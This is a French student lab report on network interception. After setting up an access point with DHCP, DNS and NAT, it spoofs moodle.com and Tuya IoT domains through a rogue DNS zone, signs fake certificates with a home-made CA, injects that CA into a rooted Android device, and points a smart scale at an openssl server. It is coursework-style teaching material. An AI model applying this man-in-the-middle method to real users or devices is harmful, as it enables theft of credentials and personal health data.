Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
